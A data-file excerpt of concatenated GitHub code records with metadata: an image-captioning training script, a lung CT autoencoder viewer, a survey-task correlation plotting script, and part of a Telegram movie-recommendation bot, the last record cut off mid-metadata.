# Log on each process the small summary:\n logger.warning(\n f\"Process rank: {training_args.local_rank}, device: {training_args.device}, n_gpu: {training_args.n_gpu}\"\n + f\"distributed training: {bool(training_args.local_rank != -1)}, 16-bits training: {training_args.fp16}\"\n )\n # Set the verbosity to info of the Transformers logger (on main process only):\n if is_main_process(training_args.local_rank):\n transformers.utils.logging.set_verbosity_info()\n transformers.utils.logging.enable_default_handler()\n transformers.utils.logging.enable_explicit_format()\n logger.info(\"Training/evaluation parameters %s\", training_args)\n\n # Set seed before initializing model.\n set_seed(training_args.seed)\n\n if data_args.train_caption_file is not None and data_args.train_image_file is not None:\n train_caption_dataset = read_caption_dataset(data_args.train_caption_file)\n train_image_dict = read_image_dataset(data_args.train_image_file)\n if data_args.validation_caption_file is not None and data_args.validation_image_file is not None:\n test_caption_dataset = read_caption_dataset(data_args.validation_caption_file) \n test_image_dict = read_image_dataset(data_args.validation_image_file)\n\n\n tokenizer_kwargs = {\n \"cache_dir\": model_args.cache_dir,\n \"use_fast\": model_args.use_fast_tokenizer,\n \"revision\": model_args.model_revision,\n \"use_auth_token\": True if model_args.use_auth_token else None,\n }\n\n if model_args.model_name_or_path:\n # image feature extractor\n feature_extractor = ViTFeatureExtractor.from_pretrained(model_args.model_name_or_path)\n # text tokenizer\n tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **tokenizer_kwargs) \n elif model_args.image_encoder_model and model_args.text_decoder_model:\n # image feature extractor\n feature_extractor = AutoFeatureExtractor.from_pretrained(model_args.image_encoder_model)\n # text tokenizer\n tokenizer = AutoTokenizer.from_pretrained(model_args.text_decoder_model, **tokenizer_kwargs)\n \n tokenizer.pad_token = tokenizer.eos_token\n\n if data_args.train_caption_file is not None and data_args.train_image_file is not None:\n train_dataset = train_caption_dataset.map(preprocess_fn,\n batched=True,\n fn_kwargs={\"max_target_length\": 128,\"train_image_dict\":train_image_dict,\n \"test_image_dict\":None,\n \"tokenizer\":tokenizer,\n \"feature_extractor\":feature_extractor,\n \"is_train\": True},\n remove_columns=train_caption_dataset.column_names)\n else:\n raise ValueError(\"Need to specify train datasets\")\n \n if data_args.validation_caption_file is not None and data_args.validation_image_file is not None:\n test_dataset = test_caption_dataset.map(preprocess_fn,\n batched=True,\n fn_kwargs={\"max_target_length\": 128,\"train_image_dict\":train_image_dict,\n \"test_image_dict\":None,\n \"tokenizer\":tokenizer,\n \"feature_extractor\":feature_extractor,\n \"is_train\": True},\n remove_columns=test_caption_dataset.column_names)\n \n if model_args.model_name_or_path:\n model = VisionEncoderDecoderModel.from_pretrained(model_args.model_name_or_path)\n elif model_args.image_encoder_model and model_args.text_decoder_model:\n model = VisionEncoderDecoderModel.from_encoder_decoder_pretrained(\n model_args.image_encoder_model,model_args.text_decoder_model)\n else:\n raise ValueError(\"Need to specify both image encoder and text decoder models\")\n\n model.decoder.resize_token_embeddings(len(tokenizer))\n model.config.eos_token_id = tokenizer.eos_token_id\n model.config.decoder_start_token_id = tokenizer.bos_token_id\n model.config.pad_token_id = tokenizer.pad_token_id\n\n # making sure vocab size is set correctly\n model.config.vocab_size = model.config.decoder.vocab_size\n # setting beam search parameter\n model.config.max_length = 128\n model.config.early_stopping = True\n model.config.no_repeat_ngram_size = 5\n model.config.length_penalty = 2.0\n model.config.num_beams = 10\n\n # freezing the encoder\n for param in model.encoder.parameters():\n param.requires_grad = False\n\n\n # Initialize our Trainer\n trainer = Seq2SeqTrainer(\n model=model,\n args=training_args,\n tokenizer=feature_extractor,\n train_dataset=train_dataset if training_args.do_train else None,\n eval_dataset=test_dataset if training_args.do_eval else None,\n data_collator=default_data_collator,\n )\n\n trainer.train()\n trainer.save_model()\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "h7nian/FilmTitle-Beit-GPT2", "sub_path": "train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 14943, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "transformers.utils.check_min_version", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 36, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 44, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 44, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 51, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 51, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 57, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 57, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 63, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 63, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 66, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 66, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 69, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 69, "usage_type": "call"}, {"api_name": "dataclasses.field", "line_number": 74, "usage_type": "call"}, {"api_name": "dataclasses.field", "line_number": 79, "usage_type": "call"}, {"api_name": "dataclasses.field", "line_number": 84, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 98, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 98, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 101, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 101, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 104, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 104, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 107, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 107, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 110, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 110, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 115, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 115, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 121, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 121, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 128, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 128, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 135, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 135, "usage_type": "call"}, {"api_name": "dataclasses.field", "line_number": 143, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 146, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 146, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 152, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 152, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 93, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 191, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 191, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 191, "usage_type": "call"}, {"api_name": "base64.urlsafe_b64decode", "line_number": 191, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 197, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 197, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 197, "usage_type": "call"}, {"api_name": "base64.urlsafe_b64decode", "line_number": 197, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 215, "usage_type": "call"}, {"api_name": "datasets.Dataset.from_pandas", "line_number": 216, "usage_type": "call"}, {"api_name": "datasets.Dataset", "line_number": 216, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 220, "usage_type": "call"}, {"api_name": "transformers.HfArgumentParser", "line_number": 227, "usage_type": "call"}, {"api_name": "transformers.Seq2SeqTrainingArguments", "line_number": 228, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 229, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 231, "usage_type": "call"}, {"api_name": "os.path", "line_number": 231, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 231, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 237, "usage_type": "call"}, {"api_name": "os.path", "line_number": 237, "usage_type": "attribute"}, {"api_name": "transformers.trainer_utils.get_last_checkpoint", "line_number": 238, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 239, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 251, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 254, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 254, "usage_type": "attribute"}, {"api_name": "transformers.trainer_utils.is_main_process", "line_number": 256, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 256, "usage_type": "attribute"}, {"api_name": "logging.WARN", "line_number": 257, "usage_type": "attribute"}, {"api_name": "transformers.trainer_utils.is_main_process", "line_number": 265, "usage_type": "call"}, {"api_name": "transformers.utils.logging.set_verbosity_info", "line_number": 266, "usage_type": "call"}, {"api_name": "transformers.utils", "line_number": 266, "usage_type": "attribute"}, {"api_name": "transformers.utils.logging.enable_default_handler", "line_number": 267, "usage_type": "call"}, {"api_name": "transformers.utils", "line_number": 267, "usage_type": "attribute"}, {"api_name": "transformers.utils.logging.enable_explicit_format", "line_number": 268, "usage_type": "call"}, {"api_name": "transformers.utils", "line_number": 268, "usage_type": "attribute"}, {"api_name": "transformers.set_seed", "line_number": 272, "usage_type": "call"}, {"api_name": "transformers.ViTFeatureExtractor.from_pretrained", "line_number": 291, "usage_type": "call"}, {"api_name": "transformers.ViTFeatureExtractor", "line_number": 291, "usage_type": "name"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 293, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 293, "usage_type": "name"}, {"api_name": "transformers.AutoFeatureExtractor.from_pretrained", "line_number": 296, "usage_type": "call"}, {"api_name": "transformers.AutoFeatureExtractor", "line_number": 296, "usage_type": "name"}, {"api_name": "transformers.AutoTokenizer.from_pretrained", "line_number": 298, "usage_type": "call"}, {"api_name": "transformers.AutoTokenizer", "line_number": 298, "usage_type": "name"}, {"api_name": "transformers.VisionEncoderDecoderModel.from_pretrained", "line_number": 325, "usage_type": "call"}, {"api_name": "transformers.VisionEncoderDecoderModel", "line_number": 325, "usage_type": "name"}, {"api_name": "transformers.VisionEncoderDecoderModel.from_encoder_decoder_pretrained", "line_number": 327, "usage_type": "call"}, {"api_name": "transformers.VisionEncoderDecoderModel", "line_number": 327, "usage_type": "name"}, {"api_name": "transformers.Seq2SeqTrainer", "line_number": 352, "usage_type": "call"}, {"api_name": "transformers.default_data_collator", "line_number": 358, "usage_type": "name"}]} +{"seq_id": "8440603992", "text": "#%%\nimport torch\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nfrom model import Model\nfrom dataset_with_labels import LungsLabeled\n\n\ndef image_normalization(image):\n image[image < -0.05] = -0.05\n image[image > 1.05] = 1.05\n min_pixel_value = image.min() \n max_pixel_value = image.max() \n diff = max_pixel_value - min_pixel_value\n image = (image - min_pixel_value) / diff\n return image\n\nif __name__ == \"__main__\":\n resolution_power = 7\n dataset_path = \"/ayb/vol1/kruzhilov/datasets/labeled_lungs_description_256/train\"\n dataset_path = \"/ayb/vol1/kruzhilov/datasets/labeled_lungs_description/labeled_lungs_description_128/test\"\n device = \"cpu\"# \"cuda:2\"\n generate_mode = False\n model_path = 'weights/weights_ct256/model128_6layers_steps30plus.pth'\n\n model = Model(channels=1, device=device, layer_count=6)\n model = model.to(device)\n model.load_state_dict(torch.load(model_path, map_location=device)) #strict=False\n model.eval()\n\n if generate_mode:\n z = torch.randn(2*(resolution_power-1), 128)\n image = model.generate(lod=resolution_power - 2, blend_factor=1.0, z=z, device=model.device, noise=True)\n image = image[0, 0, :, :].detach().cpu().numpy()\n print(image.min().item(), image.max().item())\n image = image_normalization(image)\n fig = plt.figure()\n plt.axis('off') \n plt.imshow(image, cmap=plt.cm.gray)\n plt.show()\n fig.savefig(\"generated.png\", bbox_inches='tight')\n else:\n lung_dataset = LungsLabeled(dataset_path, terminate=30, resolution=2**resolution_power, load_memory=False, load_labels=False)\n #print(len(lung_dataset))\n item = np.random.randint(len(lung_dataset))\n print(item)\n image = lung_dataset.__getitem__(item)\n image = image.unsqueeze(0) \n #image = augmentation(image, p_augment=1)\n image_gen, _ = model.autoencoder(x=image, lod=resolution_power - 2, device=device)\n print(image_gen.min().item(), image_gen.max().item())\n image_gen = image_gen[0,:,:,:].squeeze().detach().numpy()\n image_gen = image_normalization(image_gen)\n\n image = image.squeeze().detach().numpy()\n print('original image')\n fig = plt.figure()\n plt.axis('off') \n plt.imshow(image, cmap=plt.cm.gray)\n plt.show()\n #fig.savefig(\"original.png\", bbox_inches='tight')\n\n fig = plt.figure()\n plt.axis('off') \n plt.imshow(image_gen, cmap=plt.cm.gray)\n plt.show()\n #fig.savefig(\"generated.png\", bbox_inches='tight')\n\n error = np.abs(image - image_gen).mean()\n print(\"error:\", error)\n\n\n # %%", "repo_name": "BearSubj13/petct", "sub_path": "draw_image.py", "file_name": "draw_image.py", "file_ext": "py", "file_size_in_byte": 2688, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "model.Model", "line_number": 27, "usage_type": "call"}, {"api_name": "model.to", "line_number": 28, "usage_type": "call"}, {"api_name": "model.load_state_dict", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 29, "usage_type": "call"}, {"api_name": "model.eval", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 33, "usage_type": "call"}, {"api_name": "model.generate", "line_number": 34, "usage_type": "call"}, {"api_name": "model.device", "line_number": 34, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 40, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "dataset_with_labels.LungsLabeled", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 46, "usage_type": "attribute"}, {"api_name": "model.autoencoder", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 60, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.cm", "line_number": 66, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "numpy.abs", "line_number": 70, "usage_type": "call"}]} +{"seq_id": "34428761435", "text": "\"\"\"\ncorrelate LUSK w/ BCT\ncorrelate LUSK w/ nback\n2-panel figure\n\"\"\"\nimport os\nimport pandas as pd\nimport config as c\n\nimport seaborn as sea\nimport matplotlib.pyplot as plt\nplt.rcParams[\"interactive\"] = True\nplt.rcParams[\"font.family\"] = \"sans-serif\"\nplt.rcParams[\"font.sans-serif\"] = \"Arial\"\n\nexport_fname = os.path.join(c.RESULTS_DIR, \"lusk-task_correlations.png\")\n\nimport_fname_nback = os.path.join(c.DERIVATIVE_DIR, \"nback-performance.csv\")\nimport_fname_bct = os.path.join(c.DERIVATIVE_DIR, \"bct-performance.csv\")\nimport_fname_survey = os.path.join(c.DERIVATIVE_DIR, \"surveys.csv\")\n\nnback = pd.read_csv(import_fname_nback, index_col=\"participant_id\")\nbct = pd.read_csv(import_fname_bct, index_col=\"participant_id\")\nsurvey = pd.read_csv(import_fname_survey, index_col=\"participant_id\")\n\n# concatenate the relevant series from each dataframe\ndf = pd.concat([nback, bct, survey], axis=1)\n\n# stuff of interest and renamings\nRELEVANT_COLUMNS = {\n \"hit_minus_fa\" : \"WM\",\n \"accuracy\" : \"BCT\",\n \"LUSK-total\" : \"LUSK\",\n \"FFMQ-observe\" : \"FFMQ\",\n \"LRF\" : \"LDF\",\n}\n\nplot_df = df[list(RELEVANT_COLUMNS.keys())].rename(columns=RELEVANT_COLUMNS)\n\n# # drop anyone without scores (should just be LUSK)\n# plot_df.dropna(inplace=True)\n\nPALETTE = dict(BCT=\"orange\", WM=\"gray\")\nSCATTER_ARGS = {\n \"alpha\" : .7,\n \"s\" : 14,\n}\n\nfig, ax1 = plt.subplots(figsize=(3,2.5), constrained_layout=True)\nax2 = ax1.twinx()\naxes = [ax1, ax2]\nax1.set_ylim(0, 1)\nax2.set_ylim(0, 1)\nax1.set_xlabel(\"LUSK total dream control\")\nax1.set_ylabel(\"Breath counting task\")\nax2.set_ylabel(\"Working memory 2-back\")\nax1.yaxis.label.set_color(PALETTE[\"BCT\"])\nax2.yaxis.label.set_color(PALETTE[\"WM\"])\nax1.tick_params(axis=\"y\", colors=PALETTE[\"BCT\"])\nax2.tick_params(axis=\"y\", colors=PALETTE[\"WM\"])\n\n\nYVAR_ORDER = [\"BCT\", \"WM\"]\nXAXIS_VAR = \"LUSK\"\nxvals = plot_df[XAXIS_VAR].values\nfor yvar, ax in zip(YVAR_ORDER, axes):\n yvals = plot_df[yvar].values\n marker = \"o\" if yvar == \"BCT\" else \"*\"\n ax.scatter(xvals, yvals, marker=marker, c=PALETTE[yvar], **SCATTER_ARGS)\n # sea.regplot(data=plot_df, x=XAXIS_VAR, y=yvar, ax=ax)\n\n\nplt.savefig(export_fname)\nplt.close()\n\n\n\n################### most stuff together\n################### most stuff together\n\nSCATTER_ARGS = {\n \"s\" : 8,\n \"color\": \"w\",\n \"edgecolor\": \"k\",\n \"linewidth\" : .5,\n \"clip_on\" : False\n}\nPAIRPLOT_ARGS = {\n \"kind\" : \"reg\",\n \"diag_kind\" : \"hist\",\n \"height\" : 1,\n \"aspect\" : 1,\n \"corner\" : True,\n # \"plot_kws\" : dict(cmap=\"mako\"),\n \"plot_kws\" : dict(scatter_kws=SCATTER_ARGS),\n \"diag_kws\" : dict(color=\"black\"),\n \"grid_kws\" : dict(diag_sharey=False, despine=True, layout_pad=.5),\n}\ng = sea.pairplot(data=plot_df, **PAIRPLOT_ARGS)\n\nplt.savefig(os.path.join(c.RESULTS_DIR, \"correlations.png\"))\nplt.close()\n", "repo_name": "remrama/lucidbct", "sub_path": "analysis/analyze-lusk2tasks.py", "file_name": "analyze-lusk2tasks.py", "file_ext": "py", "file_size_in_byte": 2794, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "matplotlib.pyplot.rcParams", "line_number": 12, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 13, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 14, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "config.RESULTS_DIR", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "config.DERIVATIVE_DIR", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "config.DERIVATIVE_DIR", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "config.DERIVATIVE_DIR", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 24, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "seaborn.pairplot", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "config.RESULTS_DIR", "line_number": 101, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.close", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 102, "usage_type": "name"}]} +{"seq_id": "20206787735", "text": "import asyncio\nimport datetime\nimport logging\nfrom asyncio import sleep\n\nfrom aiogram import types\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.dispatcher.filters import Text\nfrom aiogram.types import ChatActions\n\nfrom database.db import Criteria, DBCommands\nfrom keyboards.default import vote_average\nfrom keyboards.inline.choise_buttons import (genres_keyboard, menu_,\n result_keyboard, total_keyboard)\nfrom loader import _, bot, dp\nfrom message_output.message_output import MessageText\nfrom states.criteria import FormCriteria\nfrom tmdb_v3_api import get_api_for_context\n\n# ================ DATA BASE SETTINGS =================================================================================\n\ndb = DBCommands()\n\n\n# =====================================================================================================================\n\n# ================ CANCEL CHOOSE ======================================================================================\n\n\n@dp.callback_query_handler(Text(startswith=[\"finish\"]), state=FormCriteria)\nasync def passing(callback: types.CallbackQuery, state: FSMContext):\n await callback.message.reply(\n _(\"Select Your Option From Menu👇🏻\"), reply_markup=menu_()\n )\n await callback.answer(text=_(\"Thnx For Using This Bot 🤖!\"))\n await state.finish()\n\n\n# You can use state '*' if you need to handle all states\n@dp.message_handler(state=\"*\", commands=[\"cancel\"])\n@dp.message_handler(Text(equals=\"cancel\", ignore_case=True), state=\"*\")\nasync def cancel_handler(message: types.Message, state: FSMContext):\n \"\"\"\n Allow user to cancel any action\n \"\"\"\n current_state = await state.get_state()\n if current_state is None:\n return\n\n logging.info(\"Cancelling state %r\", current_state)\n\n # For \"typing\" message in top console\n await bot.send_chat_action(message.chat.id, ChatActions.TYPING)\n await asyncio.sleep(0.25)\n\n # Cancel state and inform user about it\n await state.finish()\n # And remove keyboard (just in case)\n await message.reply(_(\"Cancelled.\"), reply_markup=types.ReplyKeyboardRemove())\n\n\n# =====================================================================================================================\n\n\n@dp.callback_query_handler(Text(startswith=\"criteria\"))\nasync def choose_option(callback: types.CallbackQuery):\n \"\"\"\n\n :param callback:\n :return: genres keyboard\n \"\"\"\n # For \"typing\" message in top console\n await bot.send_chat_action(callback.message.chat.id, ChatActions.TYPING)\n await asyncio.sleep(0.25)\n\n await FormCriteria.genre.set()\n await callback.message.reply(_(\"Choose Genre:\"), reply_markup=genres_keyboard())\n await callback.answer()\n\n\n@dp.callback_query_handler(state=FormCriteria.genre)\nasync def process_genre(callback: types.CallbackQuery, state: FSMContext):\n \"\"\"\n Process genre edit\n \"\"\"\n async with state.proxy() as data:\n data[\"genre\"] = callback.data\n\n genre = int(callback.data)\n item = Criteria()\n item.genre = genre\n await state.update_data(item=item)\n\n # For \"typing\" message in top console\n await bot.send_chat_action(callback.message.chat.id, ChatActions.TYPING)\n await asyncio.sleep(0.25)\n\n await FormCriteria.next()\n await callback.message.answer(_(\"Enter Vote Average: \"), reply_markup=vote_average)\n\n\n@dp.message_handler(\n lambda message: not message.text.isdigit(), state=FormCriteria.voteaverage\n)\nasync def process_vote_average_invalid(message: types.Message):\n \"\"\"\n if vote average is invalid\n \"\"\"\n return await message.answer(\n _(\"Vote average may be a number. \\n Rate it! (digits only)\")\n )\n\n\n@dp.message_handler(\n lambda message: message.text.isdigit(), state=FormCriteria.voteaverage\n)\nasync def process_voteaverage(message: types.Message, state: FSMContext):\n \"\"\"\n\n :param message:\n :param state:\n :return: input year message\n \"\"\"\n # For \"typing\" message in top console\n await bot.send_chat_action(message.chat.id, ChatActions.TYPING)\n await asyncio.sleep(0.25)\n\n # Update state and data\n await FormCriteria.next()\n await state.update_data(voteaverage=int(message.text))\n\n data = await state.get_data()\n item: Criteria = data.get(\"item\")\n voteaverage = int(message.text)\n item.vote_average = voteaverage\n await state.update_data(item=item)\n\n await message.answer(\n _(\"What is the Year?\"), reply_markup=types.ReplyKeyboardRemove()\n )\n\n\n@dp.message_handler(lambda message: not message.text.isdigit(), state=FormCriteria.year)\nasync def process_year_invalid(message: types.Message):\n \"\"\"\n if year is invalid\n \"\"\"\n return await message.reply(\n _(\"Year may be a number. \\n Example: 1999 (digits only)\")\n )\n\n\n@dp.message_handler(state=FormCriteria.year)\nasync def process_year(message: types.Message, state: FSMContext):\n \"\"\"\n\n :param message:\n :param state:\n :return: confirmation request search by criteria\n \"\"\"\n user_id = message.from_user.id\n async with state.proxy() as data:\n data[\"year\"] = message.text\n\n data = await state.get_data()\n item: Criteria = data.get(\"item\")\n year = int(message.text)\n item.year = year\n item.users_id = user_id\n item.time = datetime.datetime.now()\n\n await item.create()\n\n await state.reset_state()\n\n # For \"typing\" message in top console\n await bot.send_chat_action(message.chat.id, ChatActions.TYPING)\n await asyncio.sleep(0.25)\n\n item.year = item.year\n item.vote_average = item.vote_average\n item.genre = item.genre\n\n text = _(\n \" Genre ID: {genre}\\n\"\n \" Vote Average {vote_average}\\n\"\n \" Year {year}\\n\"\n ).format(genre=item.genre, vote_average=item.vote_average, year=item.year)\n\n img = open(\"../media/futurama-fry-gif-wallpaper-futurama-1668529063.jpg\", \"rb\")\n await bot.send_photo(message.chat.id, photo=img)\n await sleep(1)\n\n await message.answer(f\"{text}\", reply_markup=total_keyboard())\n\n\n@dp.callback_query_handler(Text(startswith=\"total\"))\nasync def total(callback: types.CallbackQuery):\n \"\"\"\n\n :param callback:\n :return: list of movies by criteria\n \"\"\"\n try:\n first = int(callback[\"data\"].replace(\"total_\", \"\"))\n\n criteria = await db.show_criteria()\n\n i = str()\n for index in criteria:\n i = index\n\n genre = i.genre\n voteaverage = i.vote_average\n year = i.year\n\n tmdb_with_language = await get_api_for_context(callback.message.chat.id)\n\n movie_list = tmdb_with_language.discover.discover_movies(\n {\n \"sort_by\": \"popularity.desc\",\n \"vote_count.gte\": \"\",\n \"with_genres\": f\"{genre}\",\n \"vote_average.gte\": f\"{voteaverage}\",\n \"primary_release_year\": f\"{year}\",\n }\n )\n\n message = MessageText(movie_list[first])\n\n if message.movie_image is None:\n poster = \"https://image.tmdb.org/t/p/original\"\n else:\n poster = \"https://image.tmdb.org/t/p/original\" + message.movie_image\n\n # For \"typing\" message in top console\n await bot.send_chat_action(callback.message.chat.id, ChatActions.TYPING)\n await asyncio.sleep(0.25)\n\n await callback.message.edit_text(\n _(\"{message.message} {poster}\").format(message=message, poster=poster)\n )\n await callback.message.edit_reply_markup(\n reply_markup=result_keyboard(\n first, len(movie_list), message.original_title, message.movie_id\n )\n )\n except IndexError:\n await callback.message.reply(_(\"Sorry. No Results\"), reply_markup=menu_())\n\n\n# =====================================================================================================================\n", "repo_name": "AmaRocket/AmaRocket-MovieBuddyBot", "sub_path": "app/handlers/users/find_by_criteria.py", "file_name": "find_by_criteria.py", "file_ext": "py", "file_size_in_byte": 7982, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "database.db.DBCommands", "line_number": 22, "usage_type": "call"}, {"api_name": "aiogram.types.CallbackQuery", "line_number": 31, "usage_type": "attribute"}, {"api_name": "aiogram.types", "line_number": 31, "usage_type": "name"}, {"api_name": "aiogram.dispatcher.FSMContext", "line_number": 31, "usage_type": "name"}, {"api_name": "loader._", "line_number": 33, "usage_type": "call"}, {"api_name": "keyboards.inline.choise_buttons.menu_", "line_number": 33, 